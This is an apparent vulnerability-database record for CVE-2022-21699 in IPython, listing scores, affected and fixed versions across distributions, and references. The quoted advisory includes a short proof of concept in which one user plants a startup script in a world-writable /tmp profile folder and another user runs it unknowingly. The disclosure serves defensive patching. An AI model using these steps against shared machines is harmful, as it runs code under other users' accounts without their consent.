{"id":"CVE-2022-21699","aliases":["ALPINE-CVE-2022-21699","AZL-109526","DEBIAN-CVE-2022-21699","DLA-2896-1","DSA-5065-1","EUVD-2022-0126","GHSA-pq7m-3gw7-gq5x","MGASA-2023-0058","PYSEC-2022-12","UBUNTU-CVE-2022-21699","USN-5953-1","openSUSE-SU-2022:10043-1","openSUSE-SU-2024:11763-1","openSUSE-SU-2024:11995-1","openSUSE-SU-2025:14718-1"],"status":"published","title":"Execution with Unnecessary Privileges in ipython","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00652,"percentile":0.51527,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-250","CWE-269","CWE-279"],"published":"2022-01-19T21:15:11Z","modified":"2026-11-03T08:01:01Z","fixes":[{"ecosystem":"PyPI","package":"ipython","fixed_in":["5.11","7.16.3","7.31.1","8.0.1","6.0.0rc1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.16","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.17","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.18","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.19","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"ipython","fixed_in":["7.31.1-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"ipython","fixed_in":["7.31.1-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"ipython","fixed_in":["7.31.1-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ipython","fixed_in":["7.31.1-1"],"sources":["osv"]},{"ecosystem":"Debian:9","package":"ipython","fixed_in":["5.1.0-3+deb9u1"],"sources":["osv"]},{"ecosystem":"Debian:10","package":"ipython","fixed_in":["5.8.0-1+deb10u1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"ipython","fixed_in":["7.20.0-1+deb11u1"],"sources":["osv"]},{"ecosystem":"Mageia:8","package":"ipython","fixed_in":["7.31.1-1.mga8"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"ipython","fixed_in":["5.5.0-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"ipython","fixed_in":["7.13.0-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP3","package":"python-ipython","fixed_in":["7.13.0-bp153.2.6.1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP3","package":"python-ipython-test","fixed_in":["7.13.0-bp153.2.6.6"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.3","package":"python-ipython","fixed_in":["7.13.0-bp153.2.6.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.3","package":"python-ipython-test","fixed_in":["7.13.0-bp153.2.6.6"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-ipython","fixed_in":["8.31.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.11"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.16.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.17.0"},{"fixed":"7.31.1"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0"},{"fixed":"8.0.1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.16","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.17","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.18","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.31.1-r0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-py","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.11.0-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.31.1-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.31.1-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.31.1-1"}]}]},{"source":"osv","ecosystem":"Debian:9","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0-3+deb9u1"}]}],"versions":["5.1.0-3"]},{"source":"osv","ecosystem":"Debian:10","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.8.0-1+deb10u1"}]}],"versions":["5.8.0-1"]},{"source":"osv","ecosystem":"Debian:11","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.20.0-1+deb11u1"}]}],"versions":["7.20.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.11"}]}],"versions":["0.10","0.10.1","0.10.2","0.11","0.12","0.12.1","0.13","0.13.1","0.13.2","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.1.fix1","0.7.2","0.7.3","0.7.4.svn.r2010","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","2.0.0","2.1.0","2.2.0","2.3.0","2.3.1","2.4.0","2.4.1","3.0.0","3.1.0","3.2.0","3.2.1","3.2.2","3.2.3","4.0.0","4.0.0-b1","4.0.0b1","4.0.1","4.0.2","4.0.3","4.1.0","4.1.0rc1","4.1.0rc2","4.1.1","4.1.2","4.2.0","4.2.1","5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0rc1","5.1.0","5.10.0","5.2.0","5.2.1","5.2.2","5.3.0","5.4.0","5.4.1","5.5.0","5.6.0","5.7.0","5.8.0","5.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"7.16.3"}]}],"versions":["6.0.0","6.1.0","6.2.0","6.2.1","6.3.0","6.3.1","6.4.0","6.5.0","7.0.0","7.0.0b1","7.0.0rc1","7.0.1","7.1.0","7.1.1","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.14.0","7.15.0","7.16.0","7.16.1","7.16.2","7.2.0","7.3.0","7.4.0","7.5.0","7.6.0","7.6.1","7.7.0","7.8.0","7.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.17.0"},{"fixed":"7.31.1"}]}],"versions":["7.17.0","7.18.0","7.18.1","7.19.0","7.20.0","7.21.0","7.22.0","7.23.0","7.23.1","7.24.0","7.24.1","7.25.0","7.26.0","7.27.0","7.28.0","7.29.0","7.30.0","7.30.1","7.31.0"]},{"source":"osv","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0"},{"fixed":"8.0.1"}]}],"versions":["8.0.0"]},{"source":"osv","ecosystem":"Mageia:8","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.31.1-1.mga8"}]}]},{"source":"osv","ecosystem":"PyPI","package":"ipython","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"46a51ed69cdf41b4333943d9ceeb945c4ede5668"}]},{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.0rc1"},{"introduced":"6.0.0"},{"fixed":"7.16.3"},{"introduced":"7.17.0"},{"fixed":"7.31.1"},{"introduced":"8.0.0"},{"fixed":"8.0.1"}]}],"versions":["0.10","0.10.1","0.10.2","0.11","0.12","0.12.1","0.13","0.13.1","0.13.2","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.1.fix1","0.7.2","0.7.3","0.7.4.svn.r2010","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","2.0.0","2.1.0","2.2.0","2.3.0","2.3.1","2.4.0","2.4.1","3.0.0","3.1.0","3.2.0","3.2.1","3.2.2","3.2.3","4.0.0","4.0.0-b1","4.0.0b1","4.0.1","4.0.2","4.0.3","4.1.0","4.1.0rc1","4.1.0rc2","4.1.1","4.1.2","4.2.0","4.2.1","5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0rc1","5.1.0","5.10.0","5.2.0","5.2.1","5.2.2","5.3.0","5.4.0","5.4.1","5.5.0","5.6.0","5.7.0","5.8.0","5.9.0","6.0.0","6.1.0","6.2.0","6.2.1","6.3.0","6.3.1","6.4.0","6.5.0","7.0.0","7.0.0b1","7.0.0rc1","7.0.1","7.1.0","7.1.1","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.14.0","7.15.0","7.16.0","7.16.1","7.16.2","7.17.0","7.18.0","7.18.1","7.19.0","7.2.0","7.20.0","7.21.0","7.22.0","7.23.0","7.23.1","7.24.0","7.24.1","7.25.0","7.26.0","7.27.0","7.28.0","7.29.0","7.3.0","7.30.0","7.30.1","7.31.0","7.4.0","7.5.0","7.6.0","7.6.1","7.7.0","7.8.0","7.9.0","8.0.0"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13.2-2","1.1.0-1","1.2.0~rc1-1","1.2.1-2","1.2.1-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0-2ubuntu1","2.3.0-2ubuntu2","2.4.1-1","2.4.1-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.5.0-1ubuntu0.1~esm1"}]}],"versions":["5.1.0-3","5.5.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-1ubuntu0.1~esm1"}]}],"versions":["5.8.0-1","5.8.0-1build1","5.8.0-2","7.12.0-1","7.13.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.1-2ubuntu0.1~esm1"}]}],"versions":["0.13.2-2","1.1.0-1","1.2.0~rc1-1","1.2.1-2"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.5.0-1ubuntu0.1~esm1"}]}],"versions":["5.1.0-3","5.5.0-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-1ubuntu0.1~esm1"}]}],"versions":["5.8.0-1","5.8.0-1build1","5.8.0-2","7.12.0-1","7.13.0-1"],"bundled":2},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP3","package":"python-ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-bp153.2.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP3","package":"python-ipython-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-bp153.2.6.6"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.3","package":"python-ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-bp153.2.6.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.3","package":"python-ipython-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.13.0-bp153.2.6.6"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-ipython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.31.0-1.1"}]}]}],"products":[{"vendor":"debian","product":"debian_linux"},{"vendor":"fedoraproject","product":"fedora"},{"vendor":"ipython","product":"ipython"}],"references":[{"url":"https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","web","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html","tags":["mailing-list","x_refsource_MLIST","x_transferred","Mailing List","Third Party Advisory","article","web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB/","tags":["vendor-advisory","x_refsource_FEDORA","x_transferred","advisory"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK/","tags":["vendor-advisory","x_refsource_FEDORA","x_transferred","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21699","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK","tags":["web"]},{"url":"https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b","tags":["web"]},{"url":"https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d","tags":["web"]},{"url":"https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pq7m-3gw7-gq5x"},{"url":"https://security.alpinelinux.org/vuln/CVE-2022-21699","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/21xxx/CVE-2022-21699.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2022-21699","tags":["advisory"]},{"url":"https://github.com/ipython/ipython","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2023-0058.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=29969","tags":["report"]},{"url":"https://www.debian.org/lts/security/2022/dla-2896","tags":["web"]},{"url":"https://www.debian.org/security/2022/dsa-5065","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK/","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB/","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/NTGOGG2ZEI7KLN4MVBRDQQ4FSIXPEKNL/","tags":["web","advisory"]},{"url":"https://ubuntu.com/security/CVE-2022-21699","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-5953-1","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2022-21699","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2015-5607","tags":["report"]},{"url":"https://bugzilla.suse.com/1194936","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2022-21699","tags":["web"]},{"url":"","tags":["advisory"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/BHCUXPCE3NKBI2FCTMGFXG7NPJDZEKNM/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2022-21699","title":"Execution with Unnecessary Privileges in ipython","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T21:15:11Z","modified":"2025-04-22T18:33:01.284Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-250","CWE-279"],"updated_at":"2026-11-02T14:34:29.057251Z"}],"euvd":[{"id":"EUVD-2022-0126","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T21:15:11Z","modified":"2025-04-22T18:33:01Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T20:52:15.026784Z"}],"ghsa":[{"id":"GHSA-pq7m-3gw7-gq5x","title":"Execution with Unnecessary Privileges in ipython","description":"We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.\n \nProof of concept\n\nUser1:\n```\nmkdir -m 777 /tmp/profile_default\nmkdir -m 777 /tmp/profile_default/startup\necho 'print(\"stealing your private secrets\")' \u003e /tmp/profile_default/startup/foo.py\n```\n\nUser2:\n```\ncd /tmp\nipython\n```\n\n \n\nUser2 will see:\n```\nPython 3.9.7 (default, Oct 25 2021, 01:04:21)\nType 'copyright', 'credits' or 'license' for more information\nIPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.\nstealing your private secrets\n```\n\n\n## Patched release and documentation\n\nSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, \n\nVersion 8.0.1, 7.31.1 for current Python version are recommended. \nVersion 7.16.3 has also been published for Python 3.6 users, \nVersion 5.11 (source only, 5.x branch on github) for older Python versions.","status":"published","published":"2022-01-21T18:55:30Z","modified":"2024-09-27T17:22:08Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-250","CWE-269","CWE-279"],"updated_at":"2026-11-02T14:38:06.988799Z"}],"nvd":[{"id":"CVE-2022-21699","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:09.47Z","modified":"2026-06-17T04:26:47.4Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":4.6,"vector":"AV:L/AC:L/Au:N/C:P/I:P/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-250","CWE-279","CWE-269"],"updated_at":"2026-11-02T14:07:11.52734Z"}],"osv":[{"id":"ALPINE-CVE-2022-21699","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:09.47Z","modified":"2026-11-03T07:30:26.182932253Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:50:38.973973Z"},{"id":"AZL-109526","title":"CVE-2022-21699 affecting package python-py 1.11.0-1","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:09Z","modified":"2026-10-22T05:35:55Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:28:02.044071Z"},{"id":"CVE-2022-21699","title":"Execution with Unnecessary Privileges in ipython","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T21:15:11Z","modified":"2026-10-28T02:30:51.852089356Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-250","CWE-279"],"updated_at":"2026-11-02T15:44:23.655778Z"},{"id":"DEBIAN-CVE-2022-21699","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:09.47Z","modified":"2026-11-03T08:01:01.666443108Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T08:25:01.007408Z"},{"id":"GHSA-pq7m-3gw7-gq5x","title":"Execution with Unnecessary Privileges in ipython","description":"We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.\n \nProof of concept\n\nUser1:\n```\nmkdir -m 777 /tmp/profile_default\nmkdir -m 777 /tmp/profile_default/startup\necho 'print(\"stealing your private secrets\")' \u003e /tmp/profile_default/startup/foo.py\n```\n\nUser2:\n```\ncd /tmp\nipython\n```\n\n \n\nUser2 will see:\n```\nPython 3.9.7 (default, Oct 25 2021, 01:04:21)\nType 'copyright', 'credits' or 'license' for more information\nIPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.\nstealing your private secrets\n```\n\n\n## Patched release and documentation\n\nSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, \n\nVersion 8.0.1, 7.31.1 for current Python version are recommended. \nVersion 7.16.3 has also been published for Python 3.6 users, \nVersion 5.11 (source only, 5.x branch on github) for older Python versions.","status":"published","published":"2022-01-21T18:55:30Z","modified":"2026-09-10T03:49:11.10902006Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","level":"high"}],"cwes":["CWE-250","CWE-269","CWE-279"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"UBUNTU-CVE-2022-21699","description":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","status":"published","published":"2022-01-19T22:15:00Z","modified":"2026-02-04T02:45:20.964959Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:53:52.391598Z"},{"id":"DLA-2896-1","title":"ipython - security update","status":"published","published":"2022-01-24T00:00:00Z","modified":"2026-03-09T01:19:24.125339Z","updated_at":"2026-11-02T15:46:11.189256Z"},{"id":"DSA-5065-1","title":"ipython - security update","status":"published","published":"2022-01-31T00:00:00Z","modified":"2026-03-09T02:10:18.3314Z","updated_at":"2026-11-02T15:46:17.543497Z"},{"id":"MGASA-2023-0058","title":"Updated ipython packages fix security vulnerability","description":"Executed config files from the current working directory, which could\nresult in cross-user attacks if run from a directory multiple users may\nwrite to. (CVE-2022-21699)\n","status":"published","published":"2023-02-27T20:27:16Z","modified":"2026-04-16T04:40:42.354431492Z","updated_at":"2026-11-02T15:49:42.263076Z"},{"id":"openSUSE-SU-2022:10043-1","title":"Security update for python-ipython","description":"This update for python-ipython fixes the following issues:\n\n- CVE-2022-21699: Confining executed process to have limited privileges. (boo#1194936). \n","status":"published","published":"2022-07-07T19:32:36Z","modified":"2026-02-04T03:25:13.013552Z","updated_at":"2026-11-02T16:58:32.653274Z"},{"id":"openSUSE-SU-2024:11763-1","title":"python310-ipython-8.0.1-1.1 on GA media","description":"These are all security issues fixed in the python310-ipython-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:22:55.683784Z","updated_at":"2026-11-02T16:58:35.195147Z"},{"id":"openSUSE-SU-2024:11995-1","title":"spyder-5.3.0-1.1 on GA media","description":"These are all security issues fixed in the spyder-5.3.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:41:04.814908Z","updated_at":"2026-11-02T16:58:35.485255Z"},{"id":"openSUSE-SU-2025:14718-1","title":"python311-ipython-8.31.0-1.1 on GA media","description":"These are all security issues fixed in the python311-ipython-8.31.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-01-30T00:00:00Z","modified":"2026-02-04T02:18:43.556183Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"PYSEC-2022-12","description":"IPython 